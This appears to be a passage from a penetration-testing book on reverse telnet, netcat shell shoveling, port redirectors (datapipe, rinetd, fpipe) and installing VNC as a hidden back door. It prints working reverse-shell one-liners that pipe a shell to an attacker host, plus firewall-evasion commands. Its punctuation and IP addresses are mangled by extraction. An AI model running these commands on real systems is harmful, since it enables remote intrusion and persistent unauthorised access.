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uploading is required We affectionately call it reverse telnet because it uses telnet to connect to listening netcat windows, then feeds the commands from one window into the reverse telnet stream, sending the output into the other window To accomplish a reverse telnet, first start two netcat listeners on your box, using two different command prompts, like this:
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C:\> nc vv l p 80 D:\> nc vv l p 25
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Next use the following UNIX command on the target system to take input from port 25, pipe it to the local shell (which will execute the command), and then pipe the output back to the attacker s port 80
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sleep 10000 | telnet 1722911191 80 | /bin/sh | telnet 1722911191 25
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The ports used in the previous example, 80 and 25, are common services (HTTP and SMTP, respectively) and are typically allowed through firewalls to many back-end systems Netcat Shell Shoveling If netcat is available or can be uploaded to the target system, a similar technique is possible We call this shell shoveling because it essentially flips a functional command shell back to the attacker s machine Assume the next example is run at a remote command prompt on the target machine:
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nc attackercom 80 | cmdexe | nc attackercom 25
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If the attackercom machine is listening with netcat on TCP 80 and 25, and TCP 80 is allowed inbound and 25 outbound to/from the victim through the firewall, then this command shovels a remote command shell from the victim to it Figure 14-3 shows the attackers system in this example, with the top window showing the input window listening on port 80 sending the ipconfig command, and the bottom window receiving the output from the remote victim machine on port 25 datapipe It can be a bit bewildering to set up port redirection using three netcat sessions configured manually as shown earlier To save some brain damage, there are numerous utilities available on the Internet that were built specifically to perform port redirection On UNIX systems, we like to use a program called datapipe (available at http://packetstormsecurifycom/unix-exploits/tcp-exploits/datapipec) Using datapipe, attackers can set up a port redirector to receive packets on port 65000 and redirect that traffic to an NT system (port 139) behind or to itself Now the attackers can set up a system on their end to do the exact opposite: run datapipe to listen for port 139 on a system and redirect it to port 65000 on the target system For example, to attack an NT machine (1722911100) behind a firewall, run the following commands on the compromised host (17229112):
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datapipe 65000 139 1722911100
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Figure 14-3
Using netcat on both the attacker (shown here) and target systems, a shell can be shoveled to the attacker s system Here, commands entered into the top window are executed on the remote system and results are displayed in the bottom
On your end, run datapipe to listen to port 139 and forward to port 65000 on the compromised host:
datapipe 139 65000 17229112
Now you will be able to access the target NT machine (1722911100) through the firewall Figure 14-4 demonstrates how port redirection works and shows its power with packet-filtering firewalls configured to allow traffic destined for high port numbers rinetd Rinetd is the Internet redirection server from Thomas Boutell at http:// wwwboutellcom/rinetd/indexhtml It redirects TCP connections from one IP address
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Advanced Techniques
Figure 14-4
Port redirection
and port to another It thus acts very much like datapipe, and it comes in a Win32 (including 2000) version as well as Linux Rinetd is extraordinarily simple to use just create a forwarding rule configuration file of the format:
bindaddress bindport connectaddress connectport
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and then fire up rinetd c <config_filename> Like datapipe, this tool can make Swiss cheese out of misconfigured firewalls fpipe Fpipe is a TCP source port forwarder/redirector from Foundstone, Inc, of which the authors are principals It creates a TCP stream with an optional source port of the user s choice It is aptly suited for performing redirection as shown in Figure 14-4, making it a valuable Windows-based replacement for the UNIX-only datapipe Fpipe differentiates itself from other Windows port redirectors like rinetd in that it has the ability to specify a source port for forwarded traffic For penetration testing purposes, this is often necessary to circumvent a firewall or router that only permits traffic sourced on certain ports (for example, traffic sourced at TCP 25 can talk to the mail server) TCP/IP normally assigns a high-numbered source port to client connections, which a firewall typically picks off in its filter However, the firewall might let DNS traffic through (in fact, it probably will) Fpipe can force the stream to always use a specific source port By doing this, the firewall sees the stream as an allowed service and lets the stream through Users should be aware of the fact that if they use the -s option to specify an outbound connection source port number and the outbound connection becomes closed, they may not be able to re-establish a connection to the remote machine (fpipe will claim that the address is already in use) until the TCP TIME_WAIT and CLOSE_WAIT periods have elapsed This time period can range anywhere from 30 seconds to 4 minutes or more depending on which OS and version you are using This timeout is a feature of the TCP protocol and is not a limitation of fpipe itself The reason this occurs is because fpipe tries to establish a new connection to the remote machine using the same local IP/port and remote IP/port combination as in the previous session and the new connection cannot be made until the TCP stack has decided that the previous connection has completely finished up
The remote-control tools discussed to this point offer near-complete control over a system, but malicious hackers really salivate at owning the virtual desktop of a target system Virtual Network Computing (VNC) provides just this capability and can be easily installed on owned systems to act as a back door to permit later access VNC is from AT&T Laboratories Cambridge and is arguably the best free graphical remote-control tool available We demonstrated in 5 how easy it is to install on Windows NT over a remote network connection all that needs to be done is to install the VNC service via the command line after making a single edit to the remote Registry to ensure the service starts invisibly (versions greater than 332 will show up in the system tray and be visible to users interactively logged on) WinVNCEXE shows up in the Process List no matter what version or mode, of course
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